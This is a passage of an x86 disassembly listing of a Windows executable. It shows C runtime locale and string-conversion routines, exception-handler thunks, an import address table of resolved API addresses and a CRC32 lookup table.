loc_4266AC: ; CODE XREF: sub_426636+2Ej
; sub_426636+52j
cmp [ebp+arg_C], esi
jle short loc_4266C1
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42683F
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4266C1: ; CODE XREF: sub_426636+79j
mov eax, dword_4DC010
cmp eax, 1
jnz short loc_4266E8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_4266E8: ; CODE XREF: sub_426636+93j
cmp eax, 2
jnz loc_42682B
cmp [ebp+arg_18], esi
jnz short loc_4266FE
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_4266FE: ; CODE XREF: sub_426636+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_427188 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42682B
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426744
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426744: ; CODE XREF: sub_426636+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_427188 ; WideCharToMultiByte
test eax, eax
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427048 ; LCMapStringA
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42682B
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4267C7: ; CODE XREF: sub_426636+17Dj
cmp ebx, esi
jz short loc_42682B
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427048 ; LCMapStringA
test eax, eax
jz short loc_42682B
test byte ptr [ebp+arg_4+1], 4
jz short loc_426805
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426827
cmp eax, edi
jl short loc_4267F6
mov eax, edi
loc_4267F6: ; CODE XREF: sub_426636+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BFD0
add esp, 0Ch
jmp short loc_426827
; ---------------------------------------------------------------------------
loc_426805: ; CODE XREF: sub_426636+1B1j
cmp [ebp+arg_14], esi
jnz short loc_42680E
push esi
push esi
jmp short loc_426814
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_426636+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426814: ; CODE XREF: sub_426636+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call dword_4270E8 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_42682B
loc_426827: ; CODE XREF: sub_426636+1B8j
; sub_426636+1CDj
mov eax, edi
jmp short loc_42682D
; ---------------------------------------------------------------------------
loc_42682B: ; CODE XREF: sub_426636+66j
; sub_426636+B5j ...
xor eax, eax
loc_42682D: ; CODE XREF: sub_426636+ADj
; sub_426636+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426636 endp
; =============== S U B R O U T I N E =======================================
sub_42683F proc near ; CODE XREF: sub_426636+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42685E
loc_42684F: ; CODE XREF: sub_42683F+1Dj
cmp word ptr [eax], 0
jz short loc_42685E
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_42684F
loc_42685E: ; CODE XREF: sub_42683F+Ej
; sub_42683F+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42686C
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42686C: ; CODE XREF: sub_42683F+24j
mov eax, edx
retn
sub_42683F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42686F proc near ; CODE XREF: sub_4265C1+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4268AF
cmp [ebp+arg_0], 100h
jnb short loc_426893
movzx eax, [ebp+arg_0]
mov ecx, off_43CE7C
mov ax, [ecx+eax*2]
jmp short loc_4268B6
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_42686F+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4268C1
add esp, 18h
test eax, eax
jnz short loc_4268B3
loc_4268AF: ; CODE XREF: sub_42686F+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: sub_42686F+3Ej
mov eax, [ebp+var_4]
loc_4268B6: ; CODE XREF: sub_42686F+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_42686F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268C1 proc near ; CODE XREF: sub_42686F+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D48
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DC014
xor edi, edi
cmp eax, edi
jnz short loc_426930
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call dword_427014 ; GetStringTypeW
test eax, eax
jz short loc_42690E
mov eax, esi
jmp short loc_42692B
; ---------------------------------------------------------------------------
loc_42690E: ; CODE XREF: sub_4268C1+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push edi
call dword_427018 ; GetStringTypeA
test eax, eax
jz loc_426A72
push 2
pop eax
loc_42692B: ; CODE XREF: sub_4268C1+4Bj
mov dword_4DC014, eax
loc_426930: ; CODE XREF: sub_4268C1+2Fj
cmp eax, 1
jnz short loc_42694C
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427014 ; GetStringTypeW
jmp loc_426A74
; ---------------------------------------------------------------------------
loc_42694C: ; CODE XREF: sub_4268C1+72j
cmp eax, 2
jnz loc_426A72
cmp [ebp+arg_10], edi
jnz short loc_426962
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_426962: ; CODE XREF: sub_4268C1+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_427188 ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426A72
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BF70
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4269C0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4269C0: ; CODE XREF: sub_4268C1+EAj
cmp [ebp+var_2C], edi
jz loc_426A72
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_427188 ; WideCharToMultiByte
test eax, eax
jz loc_426A72
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426A15
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426A15: ; CODE XREF: sub_4268C1+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426A72
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426A29
mov eax, dword_4DBE84
loc_426A29: ; CODE XREF: sub_4268C1+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call dword_427018 ; GetStringTypeA
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426A72
cmp word ptr [esi], 0FFFFh
jnz short loc_426A72
push edi
push ebx
push [ebp+arg_C]
call sub_41D670
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426A74
; ---------------------------------------------------------------------------
loc_426A72: ; CODE XREF: sub_4268C1+61j
; sub_4268C1+8Ej ...
xor eax, eax
loc_426A74: ; CODE XREF: sub_4268C1+86j
; sub_4268C1+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: .packed:00427EFCo
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: .packed:00426A98j
retn
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset dword_427ED0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426ABC: ; DATA XREF: .packed:00427F2Co
lea ecx, [ebp-1Ch]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AC4: ; DATA XREF: sub_40D4E2o
mov eax, offset dword_427F00
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 10h
loc_426AD0: ; DATA XREF: sub_40DA4Fo
mov eax, offset dword_427F30
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset dword_427F90
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset dword_428028
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset dword_42804C
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset dword_428070
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset dword_4280D0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
dd 133h dup(0)
dword_427000 dd 77E78EAAh ; DATA XREF: sub_41036B+5ECr
; sub_41716F+C0r ...
dword_427004 dd 77E70192h ; DATA XREF: sub_4251BB+F9r
dword_427008 dd 77E7176Ch ; DATA XREF: sub_424FB8+8r
dword_42700C dd 77E7339Ch ; DATA XREF: sub_424F80+Cr
dword_427010 dd 77E7C9E7h ; DATA XREF: sub_424F62+5r
; sub_424F73+6r
dword_427014 dd 77E7C866h ; DATA XREF: sub_4244F4+3Fr
; sub_4244F4+12Dr ...
dword_427018 dd 77E641EBh ; DATA XREF: sub_4244F4+59r
; sub_4244F4+8Dr ...
dword_42701C dd 77E73FF9h ; DATA XREF: sub_4240E7+2Cr
dword_427020 dd 77E7FF2Eh ; DATA XREF: sub_423FB9:loc_424009r
; sub_424030:loc_424083r
dword_427024 dd 77E78406h ; DATA XREF: sub_423B0B+FFr
; sub_423B0B+166r ...
dword_427028 dd 77E79C3Dh ; DATA XREF: sub_423B0B+158r
; sub_423DD1+143r
dword_42702C dd 77E7C931h ; DATA XREF: sub_423B0B+19Dr
dword_427030 dd 77E77EE1h ; DATA XREF: sub_4239D9+9r
dword_427034 dd 77E67702h ; DATA XREF: sub_4239D9:loc_423A08r
; sub_4239D9+E1r
dword_427038 dd 77E7C9E1h ; DATA XREF: sub_4239D9+CEr
dword_42703C dd 77E9C5B1h ; DATA XREF: sub_4239D9+11Fr
dword_427040 dd 77EB9A84h ; DATA XREF: sub_4234F7+138r
dword_427044 dd 77E781F9h ; DATA XREF: sub_4232A8+42r
; sub_4232A8+14Dr ...
dword_427048 dd 77E77405h ; DATA XREF: sub_4232A8+5Er
; sub_4232A8+A7r ...
dword_42704C dd 77F522F2h ; DATA XREF: sub_422EA8+58r
dword_427050 dd 77E6D706h ; DATA XREF: sub_42194C+215r
; sub_426587+2Er
dword_427054 dd 77E6C703h ; DATA XREF: sub_4208E2+1Ar
dword_427058 dd 77E7A13Fh ; DATA XREF: sub_4208E2+2Fr
dword_42705C dd 77E7849Fh ; DATA XREF: sub_420749+48r
; sub_420988+14r
dword_427060 dd 77E73196h ; DATA XREF: sub_424F9C+Cr
dword_427064 dd 77E7980Ah ; DATA XREF: sub_41ED74+76r
; sub_41EE25+51r ...
dword_427068 dd 77E79E34h ; DATA XREF: sub_41E742+240r
; sub_41F216+120r ...
dword_42706C dd 77E75CB5h ; DATA XREF: sub_40111D+DFr
; sub_401221+7Ar ...
dword_427070 dd 77E77963h ; DATA XREF: sub_40111D+B8r
; sub_401221+2DBr ...
dword_427074 dd 77E61BB8h ; DATA XREF: sub_40111D+A7r
; sub_401221+2C3r ...
dword_427078 dd 77E7A099h ; DATA XREF: sub_40111D+83r
; sub_401221+DAr ...
dword_42707C dd 77E704FCh ; DATA XREF: sub_40111D+74r
; sub_401221+C4r ...
dword_427080 dd 77E61BE6h ; DATA XREF: sub_40111D+29r
; sub_401221+1F4r ...
dword_427084 dd 77E7AC37h ; DATA XREF: sub_401221+3C1r
; sub_401ACD+79Fr ...
dword_427088 dd 77E73628h ; DATA XREF: sub_401221+33Br
; sub_401ACD+76D4r ...
dword_42708C dd 77E706B7h ; DATA XREF: sub_401221:loc_401495r
; sub_41761C+15r ...
dword_427090 dd 77E80656h ; DATA XREF: sub_401221+267r
dword_427094 dd 77F5157Dh ; DATA XREF: sub_401221+1D8r
; sub_401221+3E6r ...
dword_427098 dd 77E6BD13h ; DATA XREF: sub_401221:loc_4013DCr
dword_42709C dd 77E70396h ; DATA XREF: sub_401221+1B5r
; sub_401221+221r ...
dword_4270A0 dd 77E74CABh ; DATA XREF: sub_401221+19Er
; sub_4100B4+110r ...
dword_4270A4 dd 77E79F93h ; DATA XREF: sub_401221+D3r
; sub_409909+2r ...
dword_4270A8 dd 77E79D5Bh ; DATA XREF: sub_401221+6Br
; sub_401221+311r ...
dword_4270AC dd 77E7C2C4h ; DATA XREF: sub_401221+64r
dword_4270B0 dd 77E7751Ah ; DATA XREF: sub_401221+2Cr
; sub_401ACD+253Br ...
dword_4270B4 dd 77E75CEBh ; DATA XREF: sub_401ACD+791Ar
; sub_40B4F5+2Br ...
dword_4270B8 dd 77E6AD34h ; DATA XREF: sub_401ACD+68CFr
; sub_4188A6+35r
dword_4270BC dd 77E71AFEh ; DATA XREF: sub_401ACD+6697r
dword_4270C0 dd 77E805D8h ; DATA XREF: sub_409909+13Ar
; sub_409909:loc_409E17r ...
dword_4270C4 dd 77E7A5FDh ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dword_4270C8 dd 77E65F4Ch ; DATA XREF: .packed:0040ABEDr
; sub_419AE0+34r
dword_4270CC dd 77E7513Ch ; DATA XREF: .packed:0040AC84r
; .packed:0040B0C3r
dword_4270D0 dd 77E7C657h ; DATA XREF: .packed:0040ACF8r
; .packed:0040AF0Fr ...
dword_4270D4 dd 77E73C49h ; DATA XREF: sub_40B425+4Ar
; sub_40BB65+1AFr ...
dword_4270D8 dd 77F7E300h ; DATA XREF: sub_40C3E8+142r
dword_4270DC dd 77F7E21Fh ; DATA XREF: sub_40C3E8+D7r
dword_4270E0 dd 77E7C706h ; DATA XREF: sub_40C600+77r
dword_4270E4 dd 77F53275h ; DATA XREF: sub_40C600+6Br
; sub_40C600+22Fr
dword_4270E8 dd 77E77CCEh ; DATA XREF: sub_40DB5E+66r
; sub_40DC41+65r ...
dword_4270EC dd 77E78B82h ; DATA XREF: .packed:0040E081r
; sub_40EED1+25r ...
dword_4270F0 dd 77E79D8Ch ; DATA XREF: .packed:0040E04Fr
; sub_40EE8E+3Br ...
dword_4270F4 dd 77E73EACh ; DATA XREF: .packed:0040E035r
dword_4270F8 dd 77E7A837h ; DATA XREF: .packed:0040DFB4r
; sub_4100B4+1CBr ...
dword_4270FC dd 77E616B4h ; DATA XREF: sub_40EF1C+19Br
; sub_4116D6+115r ...
dword_427100 dd 77E79CE3h ; DATA XREF: sub_40EF1C+111r
; sub_411920+77r ...
dword_427104 dd 77E79C90h ; DATA XREF: sub_40EF1C+FDr
; sub_40EF1C+10Ar ...
dword_427108 dd 77E7727Ah ; DATA XREF: sub_40EF1C+74r
; sub_411827+23r ...
dword_42710C dd 77E64106h ; DATA XREF: sub_40FF31+A0r
; sub_41AF8F+1B6r
dword_427110 dd 77E64006h ; DATA XREF: sub_40FF31+8Cr
; sub_41AF8F+19Fr
dword_427114 dd 77E793EFh ; DATA XREF: sub_4100B4+1F5r
; sub_4109F1+38r ...
dword_427118 dd 77E79424h ; DATA XREF: sub_41036B+280r
; sub_41761C+135r
dword_42711C dd 77E794BFh ; DATA XREF: sub_41036B+272r
; sub_41761C+123r
dword_427120 dd 77E75E67h ; DATA XREF: sub_41036B+212r
; sub_41036B+5DBr ...
dword_427124 dd 77E75D9Eh ; DATA XREF: sub_41036B+201r
; sub_41716F+26r
dword_427128 dd 77E78C81h ; DATA XREF: sub_4109F1+6Cr
; sub_4161C1+259r ...
dword_42712C dd 77E76968h ; DATA XREF: sub_41144E+5Fr
dword_427130 dd 77E74C59h ; DATA XREF: sub_4116D6+C7r
dword_427134 dd 77EC7C51h ; DATA XREF: sub_411AAB+5Er
dword_427138 dd 77E802FCh ; DATA XREF: sub_413694+18Cr
; sub_413694+2D4r ...
dword_42713C dd 77E6D75Bh ; DATA XREF: sub_413694+182r
; sub_4143F7+FFr
dword_427140 dd 77E70F89h ; DATA XREF: sub_415D38+Dr
dword_427144 dd 77E80618h ; DATA XREF: sub_4172C1+170r
; sub_418AF1+D4r
dword_427148 dd 77E78147h ; DATA XREF: sub_4172C1+BCr
dword_42714C dd 77F51597h ; DATA XREF: sub_417493+41r
; sub_417493+F5r ...
dword_427150 dd 77F516F8h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar ...
dword_427154 dd 77E77CB7h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dword_427158 dd 77E7F01Ah ; DATA XREF: sub_41761C+88r
; sub_4177C3+55r
dword_42715C dd 77E61A54h ; DATA XREF: sub_41761C+56r
; sub_4177C3+97r
dword_427160 dd 77E7C3A5h ; DATA XREF: sub_41761C+34r
; sub_4177C3+2Er
dword_427164 dd 77E76A60h ; DATA XREF: sub_418699+2Dr
dword_427168 dd 77E71B14h ; DATA XREF: sub_418723+26r
dword_42716C dd 77E7166Fh ; DATA XREF: sub_418723+1Dr
dword_427170 dd 77E75090h ; DATA XREF: sub_41875E+69r
dword_427174 dd 77E74D76h ; DATA XREF: sub_41875E+36r
dword_427178 dd 77E77797h ; DATA XREF: sub_41875E+25r
dword_42717C dd 77E7011Ah ; DATA XREF: sub_4187E0+96r
dword_427180 dd 77E73CE2h ; DATA XREF: sub_4187E0+60r
dword_427184 dd 77E668D9h ; DATA XREF: sub_4188A6+15Dr
dword_427188 dd 77E79924h ; DATA XREF: sub_4190A5+13r
; sub_4232A8+20Dr ...
dword_42718C dd 77E76A2Eh ; DATA XREF: sub_419C09+DEr
dword_427190 dd 77E7FF65h ; DATA XREF: sub_41A05C+5Ar
dword_427194 dd 77EB7624h ; DATA XREF: sub_41A05C+3Dr
dword_427198 dd 77E6C29Dh ; DATA XREF: sub_41A6EA+1EBr
dword_42719C dd 77E76C1Ah ; DATA XREF: sub_41AF8F+1CFr
dword_4271A0 dd 77F5722Fh ; DATA XREF: sub_41BBE2+110r
; sub_41BBE2+22Dr ...
dword_4271A4 dd 77F6183Eh ; DATA XREF: sub_426356r
dword_4271A8 dd 77E6177Ah ; DATA XREF: sub_41E1D3+9Fr
; sub_423B0B+59r
dword_4271AC dd 77E7C938h ; DATA XREF: sub_41E1D3+74r
dword_4271B0 dd 77E7C486h ; DATA XREF: sub_41E1D3+26r
dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41E52A+54r
dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41E672+50r
dword_4271BC dd 77E7C726h ; DATA XREF: sub_41E672+11r
dd 0
dword_4271C4 dd 71AB5A01h ; DATA XREF: sub_4157BA+20r
dword_4271C8 dd 71AB4122h ; DATA XREF: sub_4156D1+D4r
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dword_4271D0 dd 71AB401Ch ; DATA XREF: sub_4131EC+21Br
; sub_4131EC+243r
dword_4271D4 dd 71AB1836h ; DATA XREF: sub_40F9BF+6Er
; sub_40FA3C+8Er
dword_4271D8 dd 71AB41DAh ; DATA XREF: sub_40F3AA+4Ar
; sub_40F9BF+15r
dword_4271DC dd 71AB3F8Dh ; DATA XREF: sub_40F3AA+5Ar
dword_4271E0 dd 71AB155Ah ; DATA XREF: sub_40F3AA+8Dr
; sub_414251+70r ...
dword_4271E4 dd 71AB3ECEh ; DATA XREF: sub_40F3AA+B5r
dword_4271E8 dd 71AB5DE2h ; DATA XREF: sub_40F3AA+C9r
dword_4271EC dd 71AB868Dh ; DATA XREF: sub_40F3AA+171r
dword_4271F0 dd 71AB12F8h ; DATA XREF: sub_40E9FB+27r
; sub_40F9BF+35r ...
dword_4271F4 dd 71AB1746h ; DATA XREF: sub_40E9FB+36r
; sub_40F9BF+41r ...
dword_4271F8 dd 71AB3E5Dh ; DATA XREF: sub_40E9FB+59r
; sub_40EAE9+45r ...
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
; sub_40F3AA+1E1r
dword_427200 dd 71AB1A6Dh ; DATA XREF: sub_40E9FB+E0r
; sub_40EAE9:loc_40EB55r ...
dword_427204 dd 71AB3C22h ; DATA XREF: .packed:0040D64Cr
; sub_40E9FB+45r ...
dword_427208 dd 71AB1AF4h ; DATA XREF: sub_40D2A2+12r
; sub_40E9FB+C3r ...
dword_42720C dd 71AB1890h ; DATA XREF: sub_40D104+4Cr
; sub_40F3AA+106r
dword_427210 dd 71AB1B7Bh ; DATA XREF: sub_426350r
dword_427214 dd 71AB157Eh ; DATA XREF: sub_401ACD+2F5Fr
align 10h
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
